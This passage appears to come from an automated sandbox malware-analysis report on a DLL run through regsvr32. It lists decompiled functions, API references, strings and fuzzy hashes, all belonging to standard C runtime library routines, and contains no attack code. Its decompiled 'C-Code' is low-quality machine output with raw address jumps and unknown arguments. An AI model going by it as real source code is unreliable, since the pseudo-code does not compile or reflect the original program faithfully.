_free_nolock.LIBCMTD ref: 000007FEF9D400EA
_free_nolock.LIBCMTD ref: 000007FEF9D40143
_unlock.LIBCMTD ref: 000007FEF9D4015A

Strings

pNode->_Next != NULL, xrefs: 000007FEF9D40107
f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp, xrefs: 000007FEF9D4011C

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock$_unlock
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp$pNode->_Next != NULL
API String ID: 2500497606-1087415141
Opcode ID: e5522c6252449cb40e85df54e6268dac1ebec28ce271d6c329a952fe203911e4
Instruction ID: 34f18152e293ad813cf8b9b11c4969fef8ff7405ef187e896dde4a1f66726313
Opcode Fuzzy Hash: e5522c6252449cb40e85df54e6268dac1ebec28ce271d6c329a952fe203911e4
Instruction Fuzzy Hash: 4121FC36629B8581EB909B59E89072DA3E4F3C4B94F609426FACE437B4CF7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35393 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__RethrowException.LIBCMTD ref: 000007FEF9D353C5

Part of subcall function 000007FEF9D354A0: RaiseException.KERNEL32 ref: 000007FEF9D354CD

__RethrowException.LIBCMTD ref: 000007FEF9D353D1
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Exception$Rethrow$DestroyedFindFrameObjectRaiseUnlink
String ID: csm
API String ID: 933340387-1018135373
Opcode ID: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction ID: be7caa3ba3d0a30f9fef9d29ccc0ee5b0ac29a888dcf6323555a590ed5530147
Opcode Fuzzy Hash: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction Fuzzy Hash: BE21FA32A0C64582DAA09B15E49076D67A0F7C0B52F611136EADE077B5CB3BD4418B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39694 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D396F6
_invalid_parameter.LIBCMTD ref: 000007FEF9D39730

Strings

(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D396C1, 000007FEF9D39729
_write, xrefs: 000007FEF9D39722
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D396D6, 000007FEF9D3971B

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-23161695
Opcode ID: 943f3f5a8649ad99659fc24fe5f00fa9245fa7ab2d20795fce64249369f79773
Instruction ID: f549bc85806da522572ee7890384280d6aac56d4f037a7782e26525923b50f93
Opcode Fuzzy Hash: 943f3f5a8649ad99659fc24fe5f00fa9245fa7ab2d20795fce64249369f79773
Instruction Fuzzy Hash: A2112A71A29606CAF7D0AB14ED5476E72E1F3507C9FA09125E2CD026E4D77EE504CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39939 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39998
_invalid_parameter.LIBCMTD ref: 000007FEF9D399D2

Strings

(buf != NULL), xrefs: 000007FEF9D39963, 000007FEF9D399CB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39978, 000007FEF9D399BD
_write_nolock, xrefs: 000007FEF9D399C4

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (buf != NULL)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-3042049227
Opcode ID: b18c78e6a001b3924330ee466a7aa5e58f01f9920a26db0e17f8c8ea79e16f29
Instruction ID: 08953b95d21c5f70e3699fefb321eca4419d040150facc41ebc10b04699de718
Opcode Fuzzy Hash: b18c78e6a001b3924330ee466a7aa5e58f01f9920a26db0e17f8c8ea79e16f29
Instruction Fuzzy Hash: F8115731E0C646DAF7A4AF24EC117AE73D0F780398FA0912692CC026E5DB7EE644CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3976D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D397C3
_invalid_parameter.LIBCMTD ref: 000007FEF9D397FD

Strings

_write, xrefs: 000007FEF9D397EF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D397A3, 000007FEF9D397E8
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3978E, 000007FEF9D397F6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-1338331675
Opcode ID: f80fd563d90780f0aa1c670857feec0e10d9ec583905498dafbcab80ebad431c
Instruction ID: 8bdd68c2d8658697f17e3158693f35fff5fb9c26cbdf8bf42c76b87004d789dc
Opcode Fuzzy Hash: f80fd563d90780f0aa1c670857feec0e10d9ec583905498dafbcab80ebad431c
Instruction Fuzzy Hash: F0014CB1A18646C6FB90AB24EC4076D36E0F350358FB04125E28D036F5C7BED544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39A9B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 17COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39A9B
_invalid_parameter.LIBCMTD ref: 000007FEF9D39AD5

Part of subcall function 000007FEF9D2BD70: DecodePointer.KERNEL32 ref: 000007FEF9D2BD99

Strings

((cnt & 1) == 0), xrefs: 000007FEF9D39ACE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39AC0
_write_nolock, xrefs: 000007FEF9D39AC7

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer__doserrno_invalid_parameter
String ID: ((cnt & 1) == 0)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 1098298932-1795423647
Opcode ID: 76c1c365018f90ed7cb3e44e1db6073c5157a9fa4c515fc26b073f11152878b0
Instruction ID: 5ff663975ae3511ed6d2782a661d896beba523f0d1828ccbc0613956f22d1229
Opcode Fuzzy Hash: 76c1c365018f90ed7cb3e44e1db6073c5157a9fa4c515fc26b073f11152878b0
Instruction Fuzzy Hash: CBE03960A0890696F6D4AF14EC113EE2290A740788FE14222908D072F2CB7EA605C741

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F570 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E000007FE7FEF9D2F570(intOrPtr __edx, long long __rcx, void* __rdx, long long __r8, void* _a8, intOrPtr _a16, long long _a24, intOrPtr _a32, void* _a40, intOrPtr _a48, intOrPtr _a64) {
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				signed int _v48;
				int _v52;
				int _v56;
				signed int _v64;
				long long _v72;
				long long _t82;

				_a32 = r9d;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_v56 = 0;
				if (_a48 != 0) goto 0xf9d2f5ab;
				_a48 =  *((intOrPtr*)( *_a8 + 4));
				if (_a64 == 0) goto 0xf9d2f5bf;
				_v32 = 9;
				goto 0xf9d2f5c7;
				_v32 = 1;
				_v64 = 0;
				_v72 = 0;
				r9d = _a32;
				_v48 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v48 != 0) goto 0xf9d2f60b;
				goto 0xf9d2f6f8;
				if (0 != 0) goto 0xf9d2f652;
				if (_v48 <= 0) goto 0xf9d2f652;
				if (_v48 - 0xfffffff0 > 0) goto 0xf9d2f652;
				_t82 = _v48 + _v48 + 0x10;
				E000007FE7FEF9D2F3B0(malloc(??), 0xdddd, _t82);
				_v24 = _t82;
				goto 0xf9d2f65b;
				_v24 = 0;
				_v40 = _v24;
				if (_v40 != 0) goto 0xf9d2f674;
				goto 0xf9d2f6f8;
				E000007FE7FEF9D232B0(0, _a48, 0, _v40, __rdx, _v48 << 1);
				_v64 = _v48;
				_v72 = _v40;
				r9d = _a32;
				_v52 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v52 == 0) goto 0xf9d2f6ea;
				r8d = _v52;
				_v56 = GetStringTypeW(??, ??, ??, ??);
				E000007FE7FEF9D2F3E0(_v40);
				return _v56;
			}

0x7fef9d2f570
0x7fef9d2f575
0x7fef9d2f57a
0x7fef9d2f57e
0x7fef9d2f587
0x7fef9d2f597
0x7fef9d2f5a4
0x7fef9d2f5b3
0x7fef9d2f5b5
0x7fef9d2f5bd
0x7fef9d2f5bf
0x7fef9d2f5c7
0x7fef9d2f5cf
0x7fef9d2f5d8
0x7fef9d2f5f9
0x7fef9d2f602
0x7fef9d2f606
0x7fef9d2f60f
0x7fef9d2f616
0x7fef9d2f62a
0x7fef9d2f631
0x7fef9d2f646
0x7fef9d2f64b
0x7fef9d2f650
0x7fef9d2f652
0x7fef9d2f660
0x7fef9d2f66b
0x7fef9d2f66f
0x7fef9d2f686
0x7fef9d2f68f
0x7fef9d2f698
0x7fef9d2f69d
0x7fef9d2f6bf
0x7fef9d2f6c8
0x7fef9d2f6d2
0x7fef9d2f6e6
0x7fef9d2f6ef
0x7fef9d2f6fc

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F5F3
malloc.LIBCMTD ref: 000007FEF9D2F639
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F646
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F6B9
GetStringTypeW.KERNEL32 ref: 000007FEF9D2F6E0

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringTypemalloc
String ID:
API String ID: 2618398691-0
Opcode ID: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction ID: 79d90a16a348acae5d1e8c33d658c717d72e619f6ed261e78ac23a31a9732c13
Opcode Fuzzy Hash: 05827e3f81ca9d4f9e036e9cc38fe06689f9ef4e573a4afec1c92632646a1a95
Instruction Fuzzy Hash: 9941E7726187818AD7A08B19E48476EB7E0F385795F204525EADE43BB8DB7ED484CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3FF00 Relevance: 7.6, APIs: 5, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3FF00(intOrPtr __ecx, intOrPtr _a8) {
				signed int _v16;
				signed int _v20;
				signed int _v24;

				_a8 = __ecx;
				_v24 = 0;
				_v16 = 0;
				0xf9d29300();
				_v20 = 0;
				_v20 = _v20 + 1;
				if (_v20 -  *0xf9d4e520 >= 0) goto 0xf9d40042;
				if ( *((long long*)( *0xf9d4d500 + _v20 * 8)) == 0) goto 0xf9d4003d;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d4003d;
				E000007FE7FEF9D3AE90(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000083) == 0) goto 0xf9d40024;
				if (_a8 != 1) goto 0xf9d3ffe1;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) == 0xffffffff) goto 0xf9d3ffdf;
				_v24 = _v24 + 1;
				goto 0xf9d40024;
				if (_a8 != 0) goto 0xf9d40024;
				if (( *( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)) + 0x18) & 0x00000002) == 0) goto 0xf9d40024;
				if (E000007FE7FEF9D3FD70( *((intOrPtr*)( *0xf9d4d500 + _v20 * 8))) != 0xffffffff) goto 0xf9d40024;
				_v16 = 0xffffffff;
				E000007FE7FEF9D3AF60(_v20,  *((intOrPtr*)( *0xf9d4d500 + _v20 * 8)));
				goto L1;
				__ecx = 1;
				__eax = E000007FE7FEF9D29360(__eax, 1);
				if (_a8 != 1) goto 0xf9d4005b;
				__eax = _v24;
				goto 0xf9d4005f;
				__eax = _v16;
				return _v16;
			}

0x7fef9d3ff00
0x7fef9d3ff08
0x7fef9d3ff10
0x7fef9d3ff1d
0x7fef9d3ff23
0x7fef9d3ff33
0x7fef9d3ff41
0x7fef9d3ff58
0x7fef9d3ff78
0x7fef9d3ff92
0x7fef9d3ffb2
0x7fef9d3ffb9
0x7fef9d3ffd3
0x7fef9d3ffdb
0x7fef9d3ffdf
0x7fef9d3ffe6
0x7fef9d40000
0x7fef9d4001a
0x7fef9d4001c
0x7fef9d40038
0x7fef9d4003d
0x7fef9d40042
0x7fef9d40047
0x7fef9d40051
0x7fef9d40053
0x7fef9d40059
0x7fef9d4005b
0x7fef9d40063

APIs

_lock_file2.LIBCMTD ref: 000007FEF9D3FF92
_fflush_nolock.LIBCMTD ref: 000007FEF9D3FFCB
_fflush_nolock.LIBCMTD ref: 000007FEF9D40012
_unlock_file2.LIBCMTD ref: 000007FEF9D40038
_unlock.LIBCMTD ref: 000007FEF9D40047

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _fflush_nolock$_lock_file2_unlock_unlock_file2
String ID:
API String ID: 1144694634-0
Opcode ID: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction ID: ac60367dbbc332a4a9212cb966813f3525e1d277dda9a6ba7eb8e741a9ed9bf6
Opcode Fuzzy Hash: 9c48fc7a63950d59b547df98b2f037ee7aefe6eda58a35de18d9feeb54d081ae
Instruction Fuzzy Hash: D441F136A08905C5EB70CB1DE98173D73E0F799B49F204225EA9D877B4CB3EE945CA01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33CC0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D33CC0(void* __edx, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				long long _v16;
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				long long _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v64;
				long long _v72;
				char _v80;
				long long _v88;
				void* _t135;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				signed int* _t200;
				intOrPtr _t206;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				0xf9d24000();
				if ( *((intOrPtr*)(__rax + 0x2c0)) != 0) goto 0xf9d33d6c;
				if ( *_a8 == 0xe06d7363) goto 0xf9d33d6c;
				if ( *_a8 != 0x80000029) goto 0xf9d33d2a;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 0xf) goto 0xf9d33d2a;
				if ( *((long long*)(_a8 + 0x60)) == 0x19930520) goto 0xf9d33d6c;
				if ( *_a8 == 0x80000026) goto 0xf9d33d6c;
				if (( *_a40 & 0x1fffffff) - 0x19930522 < 0) goto 0xf9d33d6c;
				if ((_a40[9] & 0x00000001) == 0) goto 0xf9d33d6c;
				goto 0xf9d3409c;
				if (( *(_a8 + 4) & 0x00000066) == 0) goto 0xf9d33ef3;
				if (_a40[1] == 0) goto 0xf9d33ee4;
				if (_a48 != 0) goto 0xf9d33ee4;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33e40;
				if ( *_a8 != 0x80000026) goto 0xf9d33e40;
				_v56 = E000007FE7FEF9D33A60(_a24, _a40, _a32,  *((intOrPtr*)(_a24 + 0xf8)));
				if (_v56 - 0xffffffff < 0) goto 0xf9d33e0a;
				if (_v56 - _a40[1] >= 0) goto 0xf9d33e0a;
				goto 0xf9d33e0f;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v56;
				E000007FE7FEF9D34F20(_a40, _a16, _a32, _a40);
				goto 0xf9d33ec7;
				if (( *(_a8 + 4) & 0x00000020) == 0) goto 0xf9d33ec7;
				if ( *_a8 != 0x80000029) goto 0xf9d33ec7;
				_v48 = _a8;
				_v52 =  *((intOrPtr*)(_v48 + 0x38));
				if (_v52 - 0xffffffff < 0) goto 0xf9d33e95;
				if (_v52 - _a40[1] >= 0) goto 0xf9d33e95;
				goto 0xf9d33e9a;
				E000007FE7FEF9D2CF80(_a40);
				r9d = _v52;
				E000007FE7FEF9D34F20(_v48,  *((intOrPtr*)(_v48 + 0x28)), _a32, _a40);
				goto 0xf9d3409c;
				E000007FE7FEF9D2E790(_v52 - _a40[1], _v48, _a16, _a32, _a40);
				goto 0xf9d34097;
				if (_a40[3] != 0) goto 0xf9d33f59;
				if (( *_a40 & 0x1fffffff) - 0x19930521 < 0) goto 0xf9d34097;
				_t200 = _a40;
				if ( *((intOrPtr*)(_t200 + 0x20)) == 0) goto 0xf9d33f44;
				_t135 = E000007FE7FEF9D2E680( *_a40 & 0x1fffffff, _t200);
				_v24 = _t200 + _a40[8];
				goto 0xf9d33f4d;
				_v24 = 0;
				if (_v24 == 0) goto 0xf9d34097;
				if ( *_a8 != 0xe06d7363) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x18)) - 3 < 0) goto 0xf9d34041;
				if ( *((intOrPtr*)(_a8 + 0x20)) - 0x19930522 <= 0) goto 0xf9d34041;
				_t206 =  *((intOrPtr*)(_a8 + 0x30));
				if ( *((intOrPtr*)(_t206 + 8)) == 0) goto 0xf9d33fc5;
				E000007FE7FEF9D2E6A0(_t135, _t206);
				_v16 = _t206 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 8));
				goto 0xf9d33fce;
				_v16 = 0;
				_v40 = _v16;
				_t177 = _v40;
				if (_v40 == 0) goto 0xf9d34041;
				_v64 = _a64 & 0x000000ff;
				_v72 = _a56;
				_v80 = _a48;
				_v88 = _a40;
				_v32 = _v40();
				goto 0xf9d34097;
				_v64 = _a56;
				_v72 = _a48;
				_v80 = _a64 & 0x000000ff;
				_v88 = _a40;
				E000007FE7FEF9D340B0(_t145, _t147, _t148, _t149, _t177, _a40, _a8, _a16, _a24, _a32);
				return 1;
			}

0x7fef9d33cc0
0x7fef9d33cc5
0x7fef9d33cca
0x7fef9d33ccf
0x7fef9d33cd8
0x7fef9d33ce4
0x7fef9d33cf8
0x7fef9d33d08
0x7fef9d33d16
0x7fef9d33d28
0x7fef9d33d38
0x7fef9d33d4e
0x7fef9d33d60
0x7fef9d33d67
0x7fef9d33d7c
0x7fef9d33d8e
0x7fef9d33d9c
0x7fef9d33db2
0x7fef9d33dc6
0x7fef9d33dec
0x7fef9d33df5
0x7fef9d33e06
0x7fef9d33e08
0x7fef9d33e0a
0x7fef9d33e0f
0x7fef9d33e2c
0x7fef9d33e3b
0x7fef9d33e50
0x7fef9d33e60
0x7fef9d33e6a
0x7fef9d33e77
0x7fef9d33e80
0x7fef9d33e91
0x7fef9d33e93
0x7fef9d33e95
0x7fef9d33e9a
0x7fef9d33eb8
0x7fef9d33ec2
0x7fef9d33edf
0x7fef9d33eee
0x7fef9d33eff
0x7fef9d33f15
0x7fef9d33f1b
0x7fef9d33f27
0x7fef9d33f29
0x7fef9d33f3d
0x7fef9d33f42
0x7fef9d33f44
0x7fef9d33f53
0x7fef9d33f67
0x7fef9d33f79
0x7fef9d33f8e
0x7fef9d33f9c
0x7fef9d33fa4
0x7fef9d33fa6
0x7fef9d33fbe
0x7fef9d33fc3
0x7fef9d33fc5
0x7fef9d33fd3
0x7fef9d33fd8
0x7fef9d33fde
0x7fef9d33fe8
0x7fef9d33ff4
0x7fef9d34000
0x7fef9d3400c
0x7fef9d34035
0x7fef9d3403f
0x7fef9d34049
0x7fef9d34055
0x7fef9d34061
0x7fef9d3406d
0x7fef9d34092
0x7fef9d340a0

APIs

_inconsistency.LIBCMTD ref: 000007FEF9D33E0A

Strings

csm, xrefs: 000007FEF9D33F61
csm, xrefs: 000007FEF9D33CF2

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _inconsistency
String ID: csm$csm
API String ID: 32975420-3733052814
Opcode ID: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction ID: 322b6d8969e66d64c69545eab8578d1d9fa1a0c6b52bdd8827c0b0ea251a3b55
Opcode Fuzzy Hash: b62b0453fdffd86c1ea8e56b24d9441da31a01f9fe07ee07632383c0adf59322
Instruction Fuzzy Hash: 12A1EE3660CBC5C6D7B08B15E5447AEB7A0F385B95FA04126EACD87BA9CB3DD844CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29640 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMTD ref: 000007FEF9D296DF
__free_lconv_num.LIBCMTD ref: 000007FEF9D29726

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c, xrefs: 000007FEF9D29932
((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca, xrefs: 000007FEF9D2991D

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __free_lconv_mon__free_lconv_num
String ID: ((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\localref.c
API String ID: 2148069796-2706031433
Opcode ID: 5530c5148454f32ed92c453347a6e128a1bc42f7b71ac9e6bc1d50a4750a2989
Instruction ID: 7353ab124090f0710997c18079ef38eae00693e27689a0bfa21a481d68f00224
Opcode Fuzzy Hash: 5530c5148454f32ed92c453347a6e128a1bc42f7b71ac9e6bc1d50a4750a2989
Instruction Fuzzy Hash: F4A10E36A18A8581EB908F49E4853BEA3E0F3C4B54F665036EA8E477B5CFBED445C740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32772 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
